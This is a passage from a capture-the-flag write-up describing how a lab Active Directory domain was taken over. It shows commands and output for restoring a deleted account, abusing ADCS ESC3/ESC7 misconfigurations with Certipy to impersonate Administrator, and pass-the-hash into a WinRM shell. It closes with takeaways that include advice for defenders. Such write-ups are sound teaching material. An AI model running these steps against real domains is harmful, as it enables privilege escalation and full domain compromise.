⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⢀⣤⣾⣿⡟⣧⢷⣛⡿⡼⣏⡷⢯⣳⣏⡷⣫
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣻⢧⡿⣭⡟⣽⡞⣽⡽⣹⢯⣗⡾⣹⢷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣶⣾⣿⣿⣿⣟⢿⣚⣧⣟⢾⣳⡽⢧⣟⣧⢿⣹⠷⣾⣹⢯⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⡿⣿⣻⡽⣞⣭⢿⣻⣞⣞⣯⣳⢻⣻⡼⢾⣭⢷⡻⢧⣟⢾⣹

Full whoami

Still in the same session, a full privilege/group dump:

*Evil-WinRM* PS C:\Users\oscar.m\desktop> whoami /all

USER INFORMATION
----------------

User Name          SID
================== ==============================================
shadowgate\oscar.m S-1-5-21-2396436576-3267128377-3646372360-1109


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
SHADOWGATE\Shadowgate-IT-Support            Group            S-1-5-21-2396436576-3267128377-3646372360-1115 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

oscar.m’s only non-default group is Shadowgate-IT-Support — the membership that turns out to matter later, when it grants visibility into deleted AD objects that’s normally locked to Domain Admins.


Post-Exploitation — A Trail Left in Email

oscar.m’s mail folder holds a message that explains exactly where the box goes next:

*Evil-WinRM* PS C:\users\oscar.m\mails> type "C:/users/oscar.m/mails/termination_notice_sam_h.eml"

From: mitch.r
To: oscar.m
Subject: Update Regarding Sam H.'s Departure

Hi Oscar,

I wanted to inform you that Sam H. has officially resigned from his position.
His user account is no longer needed and should be removed from the system.

Additionally, since Sam was responsible for certificate issuance management
(Manage-CA), please identify a suitable replacement to ensure that our
certificate services continue operating without interruption.

During a recent internal review, we also identified a potential ESC-related
misconfiguration within our Active Directory Certificate Services environment.
While no abuse has been confirmed, the configuration could allow unintended
certificate enrollment or privilege escalation if left unmanaged.

As a temporary security measure, the LDAP/RPC enrollment ports on the CA
server have been blocked at the firewall, since there is currently no
designated staff member to oversee certificate operations.

Regards,
Mitch R.

This confirms three things at once: Sam H.’s account was deleted (not just disabled), Sam held Manage-CA on the enterprise CA, and enrollment over LDAPS and the standard RPC named-pipe transport is firewalled off — a direct hint that the intended path uses an alternate RPC transport.


Privilege Escalation — Reanimating a Tombstone

A deleted account isn’t necessarily gone — as long as it’s still inside its tombstone lifetime and the container is readable, it can be restored with its original SID and ACL grants intact. oscar.m’s Shadowgate-IT-Support membership grants visibility into CN=Deleted Objects, normally locked down to Domain Admins/SYSTEM:

Exegol ➜ /workspace 𝘹 bloodyAD -u oscar.m -p '[REDACTED]' -d shadowgate.local -H 10.1.104.4 get children --target "CN=Deleted Objects,DC=shadowgate,DC=local"
distinguishedName: CN=sam.h\0ADEL:c9316c03-4a09-4d46-9db0-f45925e154f1,CN=Deleted Objects,DC=shadowgate,DC=local

Restore the account by name:

Exegol ➜ /workspace 𝘹 bloodyAD -u oscar.m -p '[REDACTED]' -d shadowgate.local -H 10.1.104.4 set restore "sam.h"
[+] sam.h has been restored successfully under CN=sam.h,CN=Users,DC=shadowgate,DC=local

A restored account keeps its old (unknown) password, so it needs a reset before it’s usable:

Exegol ➜ /workspace 𝘹 bloodyAD -u 'oscar.m' -p '[REDACTED]' -d shadowgate.local --host 10.1.104.4 set password 'sam.h' '[REDACTED]'
[+] Password changed successfully!

Exegol ➜ /workspace 𝘹 nxc smb 10.1.104.4 -u 'sam.h' -p '[REDACTED]'
SMB         10.1.104.4      445    SG-DC01          [+] shadowgate.local\sam.h:[REDACTED]

The restore brings back the exact same SID the account had before deletion — which matters, because that SID is still sitting in ACLs nobody cleaned up.


ADCS Abuse — ESC3 + ESC7

Enumerate the CA and its templates as sam.h:

Exegol ➜ /workspace 𝘹 certipy find -u 'sam.h@shadowgate.local' -p '[REDACTED]' -dc-ip 10.1.104.4 -ldap-scheme ldap -vulnerable -stdout

-ldap-scheme ldap is required here — the CA’s LDAPS port (636) is filtered per the email’s “temporary security measure,” so Certipy has to fall back to plain LDAP (389) for its template/CA enumeration.

Certificate Authorities
  0
    CA Name           : Shadowgate-CA
    Permissions
      Enroll           : SHADOWGATE.LOCAL\Authenticated Users
                         SHADOWGATE.LOCAL\sam.h
      ManageCa         : SHADOWGATE.LOCAL\Domain Admins
                         SHADOWGATE.LOCAL\Enterprise Admins
                         SHADOWGATE.LOCAL\Administrators
                         SHADOWGATE.LOCAL\sam.h
    [!] Vulnerabilities
      ESC7             : User has dangerous permissions.
Certificate Templates
  0
    Template Name       : Shadowgate-EnrollmentAgent
    Enrollment Agent    : True
    Extended Key Usage  : Certificate Request Agent
    Permissions
      Enrollment Rights : SHADOWGATE.LOCAL\sam.h
                         SHADOWGATE.LOCAL\Domain Admins
                         SHADOWGATE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC3              : Template has Certificate Request Agent EKU set.

sam.h — restored, orphaned ACL entries and all — holds ManageCa directly on the CA (ESC7) and enrollment rights on a template with the Certificate Request Agent EKU (ESC3, Enrollment Agent abuse). Either is enough; ESC3 is the more direct route here.

Requesting the Enrollment Agent Certificate

Certipy’s default req transport is a named pipe over SMB — exactly the “RPC enrollment port” the email says was blocked. -dynamic-endpoint forces the dynamic TCP endpoint (port 135 + an ephemeral high port) instead, routing around that block entirely:

Exegol ➜ /workspace 𝘹 certipy req -u 'sam.h@shadowgate.local' -p '[REDACTED]' -dc-ip 10.1.104.4 -ca 'Shadowgate-CA' -target SG-DC01.shadowgate.local -template 'Shadowgate-EnrollmentAgent' -dynamic-endpoint
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'sam.h@shadowgate.local'
[*] Certificate object SID is 'S-1-5-21-2396436576-3267128377-3646372360-1114'
[*] Saving certificate and private key to 'sam.h.pfx'
[*] Wrote certificate and private key to 'sam.h.pfx'

Impersonating Administrator (ESC3 On-Behalf-Of)

With a valid Enrollment Agent certificate, request a certificate on behalf of Administrator against the User template:

Exegol ➜ /workspace 𝘹 certipy req -u 'sam.h@shadowgate.local' -p '[REDACTED]' -dc-ip 10.1.104.4 -ldap-scheme ldap -ca 'Shadowgate-CA' -target SG-DC01.shadowgate.local -template User -on-behalf-of 'shadowgate\administrator' -pfx sam.h.pfx -dynamic-endpoint
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@shadowgate.local'
[*] Certificate object SID is 'S-1-5-21-2396436576-3267128377-3646372360-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Authenticating with the Certificate

PKINIT against the resulting certificate returns Administrator’s NT hash directly:

Exegol ➜ /workspace 𝘹 certipy auth -pfx 'administrator.pfx' -dc-ip 10.1.104.4
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@shadowgate.local'
[*]     Security Extension SID: 'S-1-5-21-2396436576-3267128377-3646372360-500'
[*] Using principal: 'administrator@shadowgate.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@shadowgate.local': [REDACTED]

Domain Compromise

Pass-the-hash straight into an Administrator shell:

Exegol ➜ /workspace 𝘹 evil-winrm -u "administrator" -H "[REDACTED]" -i "10.1.104.4"

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


    Directory: C:\Users\Administrator\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/5/2025   7:08 AM           4788 root.txt


*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt

FLAG[REDACTED]

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣶⠿⠿⠿⠿⠿⠿⠿⢿⣷⣶⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠛⢿⣽⡛⠿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⠿⠋⠁⣠⠶⠶⠶⠶⣶⣶⣶⣶⡶⠶⠾⠟⠁⠀⠀⠀⠙⢿⣦⡀⠙⠻⣷⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠟⠁⠀⠀⡜⠁⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⣦⡀⠀⠙⠿⣶⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣰⣾⡋⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⡀⠀⠈⢿⣷⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢹⡟⢿⣦⠠⠖⠛⠛⡿⠟⠛⠁⢿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣷⠀⠀⢸⣿⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣴⣶⣿⠿⠋⠀⠀⢠⠞⠀⠀⠀⠀⠈⠻⣦⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣧⠀⠀⠻⣷⡄⠀⠀⠀
⠀⠀⠀⠀⠀⣿⠛⠀⠀⠀⠀⠀⢠⠏⠀⠀⠀⠀⠀⠀⠀⠈⣧⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣆⠀⠀⢻⣧⠀⠀⠀
⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡆⠀⠈⣿⡆⠀⠀
⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⣴⣶⣶⣶⣶⣶⣶⣤⡀⠀⠀⠀⠀⣠⣄⠀⠀⠀⣤⣴⣶⣶⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢹⡇⠀⠀
⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠈⠉⠉⣿⣿⠋⠛⣿⣿⡄⠀⠀⠀⠘⣿⣇⠀⠀⠛⠛⣿⡿⠛⠛⣿⣿⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⡇⠀⠀
⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣷⣿⣿⡿⠁⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⣿⣷⣤⣶⣿⠟⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⡇⠀⠀
⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⡟⠿⣿⣧⡀⠀⠀⠀⢀⣿⣿⠀⠀⠀⠀⣿⣿⡋⠉⠁⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⡇⠀⠀
⠀⠀⠀⠀⢼⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⠇⠀⠈⢿⣿⡦⠀⠀⠸⠿⠿⠀⠀⠀⠀⢿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⡇⠀⠀
⠀⠀⠀⠀⣤⣭⣷⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⣽⡇⠀⠀
⠀⠀⠀⠀⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⢀⣿⡇⠀⠀
⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠃⠀⢼⣟⠀⠀⠀
⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠈⢻⣷⠀⠀
⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⣿⠀⠀
⠀⠀⠀⠀⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⣿⠀⠀
⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⣿⠀⠀
⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣤⣬⣿⠀⠀⢸⣿⠀⠀
⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣴⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣼⣿⠀⠀
⠄⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣴⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀
⠈⢷⣄⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⢸
⡄⠘⣿⣿⣾⣇⣀⣤⣤⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾
⠙⢶⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠘⣦⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏
⠀⠈⠻⣿⣿⣿⡿⠟⠋⠉⠙⢿⣿⣿⣿⠿⠿⠿⠟⠉⠙⢿⣿⡿⠋⠀⠉⠙⠋⠀⠀⠀⠀⠈⠙⠛⠉⠀⠀⠈⠉⠛⠟⠁⠈⠻⣿⣿⡟⠀

Full domain compromise — the tombstoned account that gave up its administrative firewall justification became the exact identity used to abuse it.


Credentials Summary

Phase 1 - Web Application Compromise
────────────────────────────────────────────────────────────────
mitch.r         : [REDACTED]         → NTLMv2 capture (hashgrab .lnk) → hashcat

Phase 2 - AD Lateral Movement
────────────────────────────────────────────────────────────────
milo.w          : [REDACTED]         → ForceChangePassword (as mitch.r)
svc_mssql       : [REDACTED]         → WriteOwner + DACL write (as milo.w)
bogdan.r        : [REDACTED]         → NTLMv2 capture (xp_dirtree) → hashcat
oscar.m         : [REDACTED]         → GenericAll (as bogdan.r)
daniel.r        : [REDACTED]         → GenericAll (as bogdan.r)

Phase 3 - Domain Compromise
────────────────────────────────────────────────────────────────
sam.h           : [REDACTED]         → Tombstone restore + password reset (as oscar.m)
administrator   : [NT hash REDACTED] → ESC3 on-behalf-of via Certipy (as sam.h)

Key Takeaways

  • A file upload portal that “auto-authenticates” a reviewer account is an NTLM coercion primitive — any file type that forces an icon/UNC lookup (.lnk, .scf, .url) captures that reviewer’s hash the moment it’s browsed.
  • xp_dirtree (and xp_fileexist, xp_subdirs) coerce the SQL Server service account to authenticate to an arbitrary UNC path — useful for credential capture even when the login itself has no meaningful database privileges.
  • STATUS_INVALID_LOGON_HOURS is not a dead end if you hold GenericAll/GenericWrite on the account — the logonHours attribute can be overwritten directly, permanently removing the restriction instead of waiting out a time window.
  • Deleted AD objects aren’t necessarily gone — within the tombstone lifetime, a readable CN=Deleted Objects container plus restore rights brings an account back with its original SID and every ACL grant that referenced it intact.
  • ManageCa on a certificate authority, or enrollment rights on a template with the Certificate Request Agent EKU, are both effectively “become anyone” — ESC7 and ESC3 are two doors to the same room.
  • A firewall block on one RPC transport doesn’t block them all — Certipy’s -dynamic-endpoint and -ldap-scheme ldap flags exist precisely for this: named-pipe/LDAPS restrictions don’t necessarily cover the dynamic TCP RPC endpoint or plain LDAP.
  • Defenders: clean up ACLs when an account is deleted — a tombstoned SID with ManageCa is a live vulnerability the moment anyone can restore the object, and restricting one CA enrollment protocol while leaving another open provides false confidence.

Tools Used

  • Nmap — port scanning and service enumeration
  • ffuf — virtual host fuzzing
  • kerbrute — domain user enumeration
  • feroxbuster — web content discovery
  • Responder — NTLMv2 hash capture
  • hashgrab — hash-capturing file generation (.lnk/.scf/.url)
  • hashcat — NTLMv2 cracking
  • BloodHound / bloodyAD — AD attack path analysis and object manipulation
  • Impacketowneredit.py, dacledit.py
  • NetExec (nxc) — SMB/WinRM/MSSQL validation, mssql_priv module
  • Certipy — ADCS enumeration and abuse (ESC3/ESC7)
  • Evil-WinRM — remote shell access

References